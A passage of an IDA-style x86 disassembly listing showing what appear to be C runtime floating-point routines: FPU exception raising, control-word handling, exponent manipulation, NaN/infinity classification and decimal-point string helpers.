arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_419FA6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_419FA6: ; CODE XREF: sub_419F74+23j
test cl, 2
jz short loc_419FB9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_419FB9: ; CODE XREF: sub_419F74+35j
test cl, bl
jz short loc_419FCB
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_419FCB: ; CODE XREF: sub_419F74+47j
test cl, 4
jz short loc_419FDE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_419FDE: ; CODE XREF: sub_419F74+5Aj
test cl, 8
jz short loc_419FF1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_419FF1: ; CODE XREF: sub_419F74+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41A694
test al, bl
jz short loc_41A07A
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41A07A: ; CODE XREF: sub_419F74+FDj
test al, 4
jz short loc_41A085
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41A085: ; CODE XREF: sub_419F74+108j
test al, 8
jz short loc_41A090
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41A090: ; CODE XREF: sub_419F74+113j
test al, 10h
jz short loc_41A09A
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41A09A: ; CODE XREF: sub_419F74+11Ej
test al, 20h
jz short loc_41A0A4
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41A0A4: ; CODE XREF: sub_419F74+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41A0E3
cmp eax, 400h
jz short loc_41A0D5
cmp eax, 800h
jz short loc_41A0C9
cmp eax, ecx
jnz short loc_41A0E9
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41A0E9
; ---------------------------------------------------------------------------
loc_41A0C9: ; CODE XREF: sub_419F74+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41A0DF
; ---------------------------------------------------------------------------
loc_41A0D5: ; CODE XREF: sub_419F74+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41A0DF: ; CODE XREF: sub_419F74+15Fj
mov [eax], ecx
jmp short loc_41A0E9
; ---------------------------------------------------------------------------
loc_41A0E3: ; CODE XREF: sub_419F74+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41A0E9: ; CODE XREF: sub_419F74+14Bj
; sub_419F74+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41A114
cmp eax, 200h
jz short loc_41A107
cmp eax, ecx
jnz short loc_41A121
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41A121
; ---------------------------------------------------------------------------
loc_41A107: ; CODE XREF: sub_419F74+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41A11F
; ---------------------------------------------------------------------------
loc_41A114: ; CODE XREF: sub_419F74+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41A11F: ; CODE XREF: sub_419F74+19Ej
mov [eax], ecx
loc_41A121: ; CODE XREF: sub_419F74+189j
; sub_419F74+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41A6A2
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_421188 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_41A19B
and dword ptr [esi], 0FFFFFFFEh
loc_41A19B: ; CODE XREF: sub_419F74+222j
test byte ptr [eax+8], 8
jz short loc_41A1A4
and dword ptr [esi], 0FFFFFFFBh
loc_41A1A4: ; CODE XREF: sub_419F74+22Bj
test byte ptr [eax+8], 4
jz short loc_41A1AD
and dword ptr [esi], 0FFFFFFF7h
loc_41A1AD: ; CODE XREF: sub_419F74+234j
test byte ptr [eax+8], 2
jz short loc_41A1B6
and dword ptr [esi], 0FFFFFFEFh
loc_41A1B6: ; CODE XREF: sub_419F74+23Dj
test [eax+8], bl
jz short loc_41A1BE
and dword ptr [esi], 0FFFFFFDFh
loc_41A1BE: ; CODE XREF: sub_419F74+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41A1F2
dec ecx
jz short loc_41A1E6
dec ecx
jz short loc_41A1DC
dec ecx
jnz short loc_41A1F4
or byte ptr [esi+1], 0Ch
jmp short loc_41A1F4
; ---------------------------------------------------------------------------
loc_41A1DC: ; CODE XREF: sub_419F74+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_41A1EE
; ---------------------------------------------------------------------------
loc_41A1E6: ; CODE XREF: sub_419F74+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_41A1EE: ; CODE XREF: sub_419F74+270j
mov [esi], ecx
jmp short loc_41A1F4
; ---------------------------------------------------------------------------
loc_41A1F2: ; CODE XREF: sub_419F74+257j
and [esi], edx
loc_41A1F4: ; CODE XREF: sub_419F74+260j
; sub_419F74+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41A214
dec ecx
jz short loc_41A20B
dec ecx
jnz short loc_41A21D
and [esi], edx
jmp short loc_41A21D
; ---------------------------------------------------------------------------
loc_41A20B: ; CODE XREF: sub_419F74+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_41A21B
; ---------------------------------------------------------------------------
loc_41A214: ; CODE XREF: sub_419F74+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_41A21B: ; CODE XREF: sub_419F74+29Ej
mov [esi], ecx
loc_41A21D: ; CODE XREF: sub_419F74+291j
; sub_419F74+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A227 proc near ; CODE XREF: sub_419EDC+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41A252
test byte ptr [ebp+arg_8], bl
jz short loc_41A252
push ebx
call sub_41A6D4
pop ecx
and edi, 0FFFFFFF7h
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A252: ; CODE XREF: sub_41A227+15j
; sub_41A227+1Aj
test al, 4
jz short loc_41A26C
test byte ptr [ebp+arg_8], 4
jz short loc_41A26C
push 4
call sub_41A6D4
pop ecx
and edi, 0FFFFFFFBh
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A26C: ; CODE XREF: sub_41A227+2Dj
; sub_41A227+33j
test al, bl
jz loc_41A346
test byte ptr [ebp+arg_8], 8
jz loc_41A346
push 8
call sub_41A6D4
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_41A31E
cmp ecx, 400h
jz short loc_41A2F6
cmp ecx, 800h
jz short loc_41A2CE
cmp ecx, eax
jnz loc_41A33E
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fld dbl_43A720
fnstsw ax
sahf
ja short loc_41A2C6
fchs
loc_41A2C6: ; CODE XREF: sub_41A227+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A2CE: ; CODE XREF: sub_41A227+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fnstsw ax
sahf
jbe short loc_41A2E6
fld dbl_43A710
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2E6: ; CODE XREF: sub_41A227+B5j
fld dbl_43A720
fchs
loc_41A2EE: ; CODE XREF: sub_41A227+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A2F6: ; CODE XREF: sub_41A227+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fnstsw ax
sahf
jbe short loc_41A30E
fld dbl_43A720
jmp short loc_41A316
; ---------------------------------------------------------------------------
loc_41A30E: ; CODE XREF: sub_41A227+DDj
fld dbl_43A710
fchs
loc_41A316: ; CODE XREF: sub_41A227+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A31E: ; CODE XREF: sub_41A227+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fld dbl_43A710
fnstsw ax
sahf
ja short loc_41A336
fchs
loc_41A336: ; CODE XREF: sub_41A227+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_41A33C: ; CODE XREF: sub_41A227+A5j
; sub_41A227+CDj ...
fstp qword ptr [ecx]
loc_41A33E: ; CODE XREF: sub_41A227+81j
and edi, 0FFFFFFFEh
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A346: ; CODE XREF: sub_41A227+47j
; sub_41A227+51j
test al, 2
jz loc_41A41C
test byte ptr [ebp+arg_8], 10h
jz loc_41A41C
push esi
xor esi, esi
test al, 10h
jz short loc_41A361
mov esi, ebx
loc_41A361: ; CODE XREF: sub_41A227+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4217E0
fnstsw ax
sahf
jz loc_41A40A
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41A5D3
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_41A3AC
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41A400
; ---------------------------------------------------------------------------
loc_41A3AC: ; CODE XREF: sub_41A227+17Aj
fld [ebp+var_C]
fcomp dbl_4217E0
fnstsw ax
sahf
jnb short loc_41A3BE
mov edx, ebx
jmp short loc_41A3C0
; ---------------------------------------------------------------------------
loc_41A3BE: ; CODE XREF: sub_41A227+191j
xor edx, edx
loc_41A3C0: ; CODE XREF: sub_41A227+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41A3F4
sub eax, ecx
loc_41A3D7: ; CODE XREF: sub_41A227+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41A3E2
test esi, esi
jnz short loc_41A3E2
mov esi, ebx
loc_41A3E2: ; CODE XREF: sub_41A227+1B3j
; sub_41A227+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_41A3EE
or byte ptr [ebp+var_C+3], 80h
loc_41A3EE: ; CODE XREF: sub_41A227+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41A3D7
loc_41A3F4: ; CODE XREF: sub_41A227+1ACj
test edx, edx
jz short loc_41A400
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41A400: ; CODE XREF: sub_41A227+183j
; sub_41A227+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_41A40C
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A227+14Ej
mov esi, ebx
loc_41A40C: ; CODE XREF: sub_41A227+1E1j
test esi, esi
pop esi
jz short loc_41A419
push 10h
call sub_41A6D4
pop ecx
loc_41A419: ; CODE XREF: sub_41A227+1E8j
and edi, 0FFFFFFFDh
loc_41A41C: ; CODE XREF: sub_41A227+26j
; sub_41A227+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_41A433
test byte ptr [ebp+arg_8], 20h
jz short loc_41A433
push 20h
call sub_41A6D4
pop ecx
and edi, 0FFFFFFEFh
loc_41A433: ; CODE XREF: sub_41A227+1F9j
; sub_41A227+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41A227 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A43E(int,int,int,int,int,int,double,int)
sub_41A43E proc near ; CODE XREF: sub_419E89+2Bp
; sub_419EDC+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_41A4EC
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_41A4A9
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41A6B1
lea eax, [ebp+var_20]
push eax
call sub_41E0AF
add esp, 0Ch
test eax, eax
jnz short loc_41A4A3
push esi
call sub_41A4C6
pop ecx
loc_41A4A3: ; CODE XREF: sub_41A43E+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41A4A9: ; CODE XREF: sub_41A43E+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41A6B1
push [ebp+arg_0]
call sub_41A4C6
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_41A43E endp
; =============== S U B R O U T I N E =======================================
sub_41A4C6 proc near ; CODE XREF: sub_419EDC+7Dp
; sub_41A43E+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41A4E1
jle short locret_41A4EB
cmp eax, 3
jg short locret_41A4EB
mov dword_46BB04, 22h
retn
; ---------------------------------------------------------------------------
loc_41A4E1: ; CODE XREF: sub_41A4C6+7j
mov dword_46BB04, 21h
locret_41A4EB: ; CODE XREF: sub_41A4C6+9j
; sub_41A4C6+Ej
retn
sub_41A4C6 endp
; =============== S U B R O U T I N E =======================================
sub_41A4EC proc near ; CODE XREF: sub_41A43E+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43A638
loc_41A4F3: ; CODE XREF: sub_41A4EC+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41A509
add eax, 8
inc ecx
cmp eax, offset dbl_43A710
jl short loc_41A4F3
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A509: ; CODE XREF: sub_41A4EC+Dj
mov eax, off_43A63C[ecx*8]
retn
sub_41A4EC endp
; =============== S U B R O U T I N E =======================================
sub_41A511 proc near ; CODE XREF: sub_419EDC+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_41A51D
push 5
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A51D: ; CODE XREF: sub_41A511+6j
test al, 8
jz short loc_41A525
push 1
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A525: ; CODE XREF: sub_41A511+Ej
test al, 4
jz short loc_41A52D
push 2
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A52D: ; CODE XREF: sub_41A511+16j
test al, 1
jz short loc_41A535
push 3
loc_41A533: ; CODE XREF: sub_41A511+Aj
; sub_41A511+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A535: ; CODE XREF: sub_41A511+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_41A511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A53E(double)
sub_41A53E proc near ; CODE XREF: sub_415D04:loc_415D8Ap
; sub_415E4B:loc_415ED1p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_41A53E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A550(double,int)
sub_41A550 proc near ; CODE XREF: sub_41A5D3+82p
; sub_41A5D3+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_41A550 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A579 proc near ; CODE XREF: sub_415D04+31p
; sub_415E4B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41A590
cmp [ebp+arg_0], edx
jnz short loc_41A5A2
push 1
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A590: ; CODE XREF: sub_41A579+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41A5A2
cmp [ebp+arg_0], edx
jnz short loc_41A5A2
push 2
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A5A2: ; CODE XREF: sub_41A579+11j
; sub_41A579+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41A5B5
push 3
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A5B5: ; CODE XREF: sub_41A579+36j
cmp cx, 7FF0h
jnz short loc_41A5CF
test [ebp+arg_4], 7FFFFh
jnz short loc_41A5CA
cmp [ebp+arg_0], edx
jz short loc_41A5CF
loc_41A5CA: ; CODE XREF: sub_41A579+4Aj
push 4
loc_41A5CC: ; CODE XREF: sub_41A579+15j
; sub_41A579+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A5CF: ; CODE XREF: sub_41A579+41j
; sub_41A579+4Fj
xor eax, eax
pop ebp
retn
sub_41A579 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A5D3(double,int)
sub_41A5D3 proc near ; CODE XREF: sub_41A227+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4217E0
push esi
fnstsw ax
sahf
jnz short loc_41A5F3
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_41A689
; ---------------------------------------------------------------------------
loc_41A5F3: ; CODE XREF: sub_41A5D3+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41A662
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_41A60B
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41A662
loc_41A60B: ; CODE XREF: sub_41A5D3+31j
fld [ebp+arg_0]
fcomp dbl_4217E0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_41A623
push 1
pop eax
jmp short loc_41A625
; ---------------------------------------------------------------------------
loc_41A623: ; CODE XREF: sub_41A5D3+49j
xor eax, eax
loc_41A625: ; CODE XREF: sub_41A5D3+4Ej
; sub_41A5D3+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_41A63E
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41A638
or dword ptr [ebp+arg_0+4], 1
loc_41A638: ; CODE XREF: sub_41A5D3+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41A625
; ---------------------------------------------------------------------------
loc_41A63E: ; CODE XREF: sub_41A5D3+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_41A64C
or byte ptr [ebp+arg_0+7], 80h
loc_41A64C: ; CODE XREF: sub_41A5D3+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41A550
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_41A689
; ---------------------------------------------------------------------------
loc_41A662: ; CODE XREF: sub_41A5D3+28j
; sub_41A5D3+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41A550
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_41A689: ; CODE XREF: sub_41A5D3+1Bj
; sub_41A5D3+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41A5D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A694 proc near ; CODE XREF: sub_419F74+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41A694 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6A2 proc near ; CODE XREF: sub_419F74+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41A6A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6B1 proc near ; CODE XREF: sub_415D04+13p
; sub_415D04+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41A6B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6D4 proc near ; CODE XREF: sub_41A227+1Dp
; sub_41A227+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_41A6EB
fld tbyte_43A738
fistp [ebp+arg_0]
wait
loc_41A6EB: ; CODE XREF: sub_41A6D4+Bj
test cl, 8
jz short loc_41A700
fstsw ax
fld tbyte_43A738
fstp [ebp+var_8]
wait
fstsw ax
loc_41A700: ; CODE XREF: sub_41A6D4+1Aj
test cl, 10h
jz short loc_41A70F
fld tbyte_43A744
fstp [ebp+var_8]
wait
loc_41A70F: ; CODE XREF: sub_41A6D4+2Fj
test cl, 4
jz short loc_41A71D
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_41A71D: ; CODE XREF: sub_41A6D4+3Ej
test cl, 20h
jz short locret_41A728
fldpi
fstp [ebp+var_8]
wait
locret_41A728: ; CODE XREF: sub_41A6D4+4Cj
leave
retn
sub_41A6D4 endp
; =============== S U B R O U T I N E =======================================
sub_41A72A proc near ; CODE XREF: sub_415DD3+Fp
push 30000h
push 10000h
call sub_41E0E7
pop ecx
pop ecx
retn
sub_41A72A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A73C proc near ; CODE XREF: sub_41A77A:loc_41A79Ej
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4217F0
fstp [ebp+var_8]
fld dbl_4217E8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_421670
fnstsw ax
sahf
jbe short loc_41A776
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A776: ; CODE XREF: sub_41A73C+33j
xor eax, eax
leave
retn
sub_41A73C endp
; =============== S U B R O U T I N E =======================================
sub_41A77A proc near ; CODE XREF: sub_415DD3+5p
push offset aKernel32 ; "KERNEL32"
call dword_4210C8 ; GetModuleHandleA
test eax, eax
jz short loc_41A79E
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4210C4 ; GetProcAddress
test eax, eax
jz short loc_41A79E
push 0
call eax ; sub_415DD3
retn
; ---------------------------------------------------------------------------
loc_41A79E: ; CODE XREF: sub_41A77A+Dj
; sub_41A77A+1Dj
jmp sub_41A73C
sub_41A77A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A7A3 proc near ; CODE XREF: sub_417D6C+3CBp
; DATA XREF: sub_415DEB+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_417033
cmp eax, 65h
pop ecx
jz short loc_41A7E3
loc_41A7B7: ; CODE XREF: sub_41A7A3+3Ej
inc esi
cmp dword_4385FC, 1
jle short loc_41A7D0
movsx eax, byte ptr [esi]
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41A7DF
; ---------------------------------------------------------------------------
loc_41A7D0: ; CODE XREF: sub_41A7A3+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_4383F0
mov al, [ecx+eax*2]
and eax, 4
loc_41A7DF: ; CODE XREF: sub_41A7A3+2Bj
test eax, eax
jnz short loc_41A7B7
loc_41A7E3: ; CODE XREF: sub_41A7A3+12j
mov cl, byte_438600
mov al, [esi]
mov [esi], cl
inc esi
loc_41A7EE: ; CODE XREF: sub_41A7A3+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41A7EE
pop esi
retn
sub_41A7A3 endp
; =============== S U B R O U T I N E =======================================
sub_41A7FD proc near ; CODE XREF: sub_417D6C+3E2p
; DATA XREF: sub_415DEB+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_438600
mov cl, [eax]
test cl, cl
jz short loc_41A819
loc_41A80D: ; CODE XREF: sub_41A7FD+1Aj
cmp cl, dl
jz short loc_41A819
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41A80D
loc_41A819: ; CODE XREF: sub_41A7FD+Ej
; sub_41A7FD+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41A84A
loc_41A820: ; CODE XREF: sub_41A7FD+34j
mov cl, [eax]
test cl, cl
jz short loc_41A833
cmp cl, 65h
jz short loc_41A833
cmp cl, 45h
jz short loc_41A833
inc eax
